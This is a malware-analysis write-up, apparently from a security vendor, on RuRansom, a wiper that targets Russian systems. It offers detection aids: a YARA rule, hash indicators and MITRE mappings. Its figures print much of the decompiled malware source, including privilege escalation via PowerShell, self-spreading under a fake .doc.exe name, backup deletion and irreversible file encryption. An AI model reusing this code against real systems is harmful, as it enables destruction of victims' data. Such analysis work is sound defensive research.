Understanding the RuRansom Malware – A Retaliatory Wiper

By Threat Analysis Unit

Published: 2022-04-12 · Archived: 2026-04-05 15:25:28 UTC

This research was performed by Sudhir Devkar of the Threat Analysis Unit (TAU)

Summary

RuRansom is ransomware that is specifically targeting Russian systems. During ongoing cyber warfare between Russia and Ukraine, TAU has already seen different malware-attacks like WhisperGate, IsaacWiper, and HermeticWiper. RuRansom is a new addition to this destructive malware series. It is purposefully designed to destroy the victim's backup and data.

Behavioural Summary

Due to the language and method by which the malware was created, there were indicators that detailed many original function and variable names. These values will be referenced in this write-up.

Upon execution, the malware immediately calls a function named IsRussia(), checks the system's public IP address using a known IP address service, located at ***https://api[.]ipify[.]org*** . Later, it uses the IP address to determine the geographical location of machine, by using a known geolocation service, with the URL structure of ***https://ip-api[.]com/#<public ip>***, as shown in Figure 1.

If the victim machine's geolocation does not contain the word "Russia", then the sample shows message box with message "Программу могут запускать только российские пользователи" (English translation "The program can only be run by Russian users") and terminates execution.

The below image in Figure 1 shows this code, detailing that the malware is specifically targeted to systems associated with Russia.

```
private static bool IsRussia()
{
    bool result;
    try
    {
        HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://api.ipify.org");
        httpWebRequest.Method = "GET";
        httpWebRequest.ContentType = "text/html";
        httpWebRequest.Timeout = 1000000000;
        HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
        using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream()))
        {
            string text = streamReader.ReadToEnd();
            HttpWebRequest httpWebRequest2 = (HttpWebRequest)WebRequest.Create("https://ip-api.com/#" + text);
            httpWebRequest2.Method = "GET";
            httpWebRequest2.ContentType = "text/html";
            httpWebRequest2.Timeout = httpWebRequest.Timeout;
            HttpWebResponse httpWebResponse2 = (HttpWebResponse)httpWebRequest.GetResponse();
            using (new StreamReader(httpWebResponse.GetResponseStream()))
            {
                string text2 = streamReader.ReadToEnd();
                bool flag = text.Contains("\"Russia\"");
                if (flag)
                {
                    result = true;
                }
                else
                {
                    result = false;
                }
            }
        }
    }
    catch (Exception value)
    {
        Console.WriteLine(value);
        result = false;
    }
    return result;
}
```

Figure 1: GeoLoaction Check

As a next step, the malware checks for administrator privilege. If not running under administrator privilege it uses the command line "*cmd.exe /c powershell start-process <executing assembly path> -verb runas*" to escalate its privilege. This code is shown in Figure 2.

```
bool flag2 = !Program.IsElevated;
if (flag2)
{
    Process process = new Process();
    process.StartInfo.FileName = "cmd.exe";
    process.StartInfo.Arguments = "/c powershell stART-PRoceSS " + Assembly.GetExecutingAssembly().Location + " -veRB rUnAS";
    process.StartInfo.UseShellExecute = false;
    process.StartInfo.CreateNoWindow = false;
    process.Start();
    process.WaitForExit();
    Environment.Exit(0);
}
```

Figure 2: Elevated Privilege check

Once these above checks are completed, the malware begins to collect drive information.

If a drive is removable, or a network drive, the malware spreads there by dropping a copy of itself with the filename "Россия-Украина_Война-Обновление.doc.exe" (English translated: "Russia-Ukraine_War-Update.doc.exe")

Also, the sample checks if the targeted drive is "C:". If so, it targets encryption to just the "C:\Users\<current user>" folder, skipping all other folders.

For any hard drives other than “C:”, the sample targets every folder and file for encryption. The code representing these steps is highlighted in Figure 3.

```
DriveInfo[] drives = DriveInfo.GetDrives();
DriveInfo[] array = drives;
for (int i = 0; i < array.Length; i++)
{
    DriveInfo driveInfo = array[i];
    bool flag3 = driveInfo.DriveType == DriveType.Removable || driveInfo.DriveType == DriveType.Network;
    if (flag3)
    {
        Program.spread(driveInfo.Name.ToString());
    }
    bool flag4 = driveInfo.Name.ToString() == "C:\\";
    if (flag4)
    {
        Program.encryptAllDirectoryAndSubDirectoryFiles("C:\\Users\\" + Environment.UserName);
    }
    else
    {
        Program.encryptAllDirectoryAndSubDirectoryFiles(driveInfo.Name.ToString());
    }
}
```

Figure 3: Get Drive Info

In the encryption routine, shown in Figure 4 below, the sample first checks the path passed as an argument for encryption. If path is not equal to %AppData% location, the malware enumerates a list of files and directory. %AppData% is a known Windows path for storing configuration data for the current user account’s installed applications. Further, the malware checks if a file has the extension “.bak”. If so, the file will be deleted to hinder recovery. All other files are encrypted via the EncryptFile() function. The malware continues this recursively until all directories are enumerated and all files encrypted.

```
private static void encryptAllDirectoryAndSubDirectoryFiles(string d)
{
    try
    {
        bool flag = d != "C:\\Users\\" + Environment.UserName + "\\AppData";
        if (flag)
        {
            string[] files = Directory.GetFiles(d);
            for (int i = 0; i < files.Length; i++)
            {
                FileInfo fileInfo = new FileInfo(files[i]);
                bool flag2 = Path.GetExtension(files[i]).ToLower() == ".bak";
                if (flag2)
                {
                    File.Delete(files[i]);
                }
                fileInfo.Attributes = FileAttributes.Normal;
                Program.EncryptFile(files[i], d);
            }
            string[] directories = Directory.GetDirectories(d);
            for (int j = 0; j < directories.Length; j++)
            {
                Program.encryptAllDirectoryAndSubDirectoryFiles(directories[j] + "\\");
            }
        }
    }
    catch (Exception)
    {
    }
}
```

Figure 4: Files and Directory enumeration

As shown in Figure 5 below, the EncryptFile() function accepts a file name and a directory path as arguments for file encryption using AES (Advanced Encryption Standard) encryption method. Each file is encrypted using a unique key, further encoded with base64, and written back to the original file. The sample changes the extension of encrypted files to ".fs_invade".

```
private static void EncryptFile(string file, string dir)
{
    try
    {
        string text = File.ReadAllText(file);
        bool flag = text == "";
        if (!flag)
        {
            AesCrypter aesCrypter = new AesCrypter();
            byte[] bytes = Encoding.UTF8.GetBytes(text);
            string s = Program.getEncryptedAesKey()[0];
            string text2 = Program.getEncryptedAesKey()[1];
            byte[] inArray = AesCrypter.AES_Encrypt(bytes, Encoding.UTF8.GetBytes(s));
            string contents = Convert.ToBase64String(inArray);
            File.WriteAllText(file, contents);
            Path.ChangeExtension(file, ".fs_invade");
            string text3 = Convert.ToBase64String(Encoding.UTF8.GetBytes(Program.getEncryptedAesKey()[2]));
            string[] contents2 = new string[]
            {
                "24 февраля президент Владимир Путин обьявил войну Украине.",
                "Чтобы противостоять этому, я, создатель RU_Ransom, создал эту вредоносную программу для нанесения ущерба России. Вы купили это себе, господин президент.",
                "Нет никакого способа расшифровать ваши файлы. Никакой оплаты, только ущерб. И да, это \"миротворчество\", как это делает Влади Папа, убивая невинных мирных жителей",
                "И да, это было переведено с бангла на русский с помощью Google Translate..."
            };
            File.WriteAllLines(dir + "\\Полномасштабное_кибервторжение.txt", contents2);
        }
    }
    catch (Exception)
    {
    }
}
```

Figure 5: File Encryption

Once the file is encrypted, the malware drops a text file to the same directory with the *name "Полномасштабное_кибервторжение.txt" (translated in English as "Full-scale_cyber-invasion.txt*")

The contents of this text file is shown below (translated to English):

"On February 24, President Vladimir Putin declared war on Ukraine.

"To counter this, I, the creator of RU_Ransom, created this malware to harm Russia. You bought this for yourself, Mr. President.",

"There is no way to decrypt your files. No payment, only damage. And yes, it's "peacekeeping" like Vladi Papa does, killing innocent civilians,"

"And yes, it was translated from Bangla to Russian using Google Translate…""

While looking into the encryption key generation further, the sample was shown to use the text length of "FullScaleCyberInvasion <MachineName>" and "RU_Ransom <UserName> 2022" to create the encryption cipher, as shown in Figure 6.

```
// Token: 0x0600000A RID: 10 RVA: 0x00002554 File Offset: 0x00000754
private static string[] getEncryptedAesKey()
{
    AesCrypter aesCrypter = new AesCrypter();
    byte[] bytes = Encoding.UTF8.GetBytes(Program.BuildPassword("FullScaleCyberInvasion + " + Environment.MachineName));
    byte[] bytes2 = Encoding.UTF8.GetBytes(Program.BuildPassword("RU_Ransom" + Environment.UserName + "2022"));
    byte[] inArray = AesCrypter.AES_Encrypt(bytes, bytes2);
    return new string[]
    {
        Convert.ToBase64String(bytes),
        Convert.ToBase64String(bytes2),
        Convert.ToBase64String(inArray)
    };
}

// Token: 0x0600000B RID: 11 RVA: 0x000025E0 File Offset: 0x000007E0
private static string BuildPassword(string str)
{
    StringBuilder stringBuilder = new StringBuilder();
    Random random = new Random();
    for (int i = 0; i < str.Length; i++)
    {
        stringBuilder.Append(str[random.Next(0, str.Length)]);
    }
    return stringBuilder.ToString();
}
```

Figure 6: Encryption key generation

Customer Protection

RURansom is blocked and detected by existing policies within VMware Carbon Black products. To learn more about further ransomware behaviour, detection and protection capabilities within the VMware Carbon Black suite of products against RURansom, you may refer to the following blog post: **TAU-TIN – Ransomware Threats**

MITRE ATT&CK TIDs

TID	Tactic	Description
T1047	Execution	Windows Management Instrumentation (WMI) to execute malicious commands and payloads
T1083	Discovery	File and Directory Discovery
T1485	Impact	Data Destruction
T1486	Impact	Data Encrypted for Impact
T1490	Impact	Deletes Windows volume shadow copies, Disable start-up repairs

Table 1: MITRE ATT&CK TIDs

YARA:

Rule RURansom_wiper {

meta:

description = “RURansom Wiper”

author = “VMware Threat Research”

```
        exemplar_hashes = "7c935dcd672c4854495f41008120288e8e1c144089f1f06a23bd0a0f52a544b1"
    strings:
        $string1 = "RU_Ransom" wide ascii nocase
        $string2 = "RURansom" wide ascii nocase
        $string3 = ".fs_invade" wide ascii nocase
        $string4 = "Russia" wide ascii nocase
    condition:
        uint16(0) == 0x5A4D and all of them
}
```

Indicators of Compromise (IOCs)

Indicator	Type	Context
fb4f3d9421cf8d35de950ad52ff4dca3a0c3e84c3c770c09c3cf6bbcc540e9d4	SHA256	RURansom
d02ede8735c319012923efc6d4befa78f39fcb6c4ce40cb37a45b419a2efc923	SHA256	RURansom
009ce5fcce062d699db46559badcf259eb925fcfcf374c0bdea8eb13d5750edf	SHA256	RURansom
ae00bb69f06936ac9afb0475d4b3ddf592e4c61e68327be2051211533a57d919	SHA256	RURansom
70e8a9b39aa7dd91c461c32ddfeb090b3699e5984beb610787c92afd24ad546b	SHA256	RURansom
a932b37f6ebadfca08beb990cf784ac247317abbc42c72a9961f8d4a1fe7e1fb	SHA256	RURansom
26e75390015ba36c2723d35ed7a227064892979ad331e0a728e39673feaa24c2	SHA256	RURansom
2548ad9263dd94109ab22393a08f77364d96c48b0b96640cb530818adb9c08f0	SHA256	RURansom
e0c4021b38f4d2f1e13d0a8374c8ef081be458fc3031e7ad49795a65a013cb43	SHA256	RURansom
ceebcd4472623db39026ae89dc0737d0cdec631cd763d9717d0f4a822a3a2085	SHA256	RURansom
107da216ad99b7c0171745fe7f826e51b27b1812d435b55c3ddb801e23137d8f	SHA256	RURansom
1f36898228197ee30c7b0ec0e48e804caa6edec33e3a91eeaf7aa2c5bbb9c6e0	SHA256	RURansom
696b6b9f43e53387f7cef14c5da9b6c02b6bf4095849885d36479f8996e7e473	SHA256	RURansom
5104c127b4d56ffe93016582401c250630f6d274	SHA1	RURansom
ed2b4ef1c2f1814c40326a094f8874c683dec68b	SHA1	RURansom

97dae0c8fc302b6cbbc2e31c756909a16630d9c5	SHA1	RURansom
34b9694fe6f5adb63f58217f80b4abb53c48e320	SHA1	RURansom
df4a28bdd8b743c16d2c9917c6d39030c07f2c09	SHA1	RURansom
8746ab9039ad88ebf8aa822473fa2f9947131d19	SHA1	RURansom
b1261722dd055dc6a5e2d2f3839a91390eac24e8	SHA1	RURansom
085b697d49b103c4a42b20aa8b2f5c4730212653	SHA1	RURansom
dd2a120b485cbf9ff7dd7435ee1d1a3fc4596862	SHA1	RURansom
06c6dc34a9728f67038a7d41bcbe2372a9c4e6e4	SHA1	RURansom
a30bf5d046b6255fa2c4b029abbcf734824a7f15	SHA1	RURansom
c35ab665f631c483e6ec315fda0c01ba4558c8f2	SHA1	RURansom
c6ef59aa3f0cd1bb727e2464bb728ab79342ad32	SHA1	RURansom
5028a73d50a0a2bd0abe6a24c660cb65	MD5	RURansom
4ecd4debe942f6a5e45732d8d073b5ec	MD5	RURansom
318d857c4b4c12b1b5d67f37fad616e9	MD5	RURansom
a6988a9060278741c0ba3e9028de1f97	MD5	RURansom
9d298f3eaff0db4fb1f5b3160911e3ee	MD5	RURansom
a938dbd999f4a1ba7d537c9181c8d902	MD5	RURansom
84e5cf74ecbed6caa3e88b1e00e1dc0d	MD5	RURansom
e5e98aa9efcd4bd83245524ff430b28e	MD5	RURansom
013addcf6e3f3a2e7ff441ccdc0433ce	MD5	RURansom
94a65c7f033faf7efb1348df4a79f498	MD5	RURansom
8fe6f25fc7e8c0caab2fdca8b9a3be89	MD5	RURansom
01ae141dd0fb97e69e6ea7d6bf22ab32	MD5	RURansom
9c3316a9ff084ed4d0d072df5935f52d	MD5	RURansom

Table 2: Indicator of Compromise

Source: https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html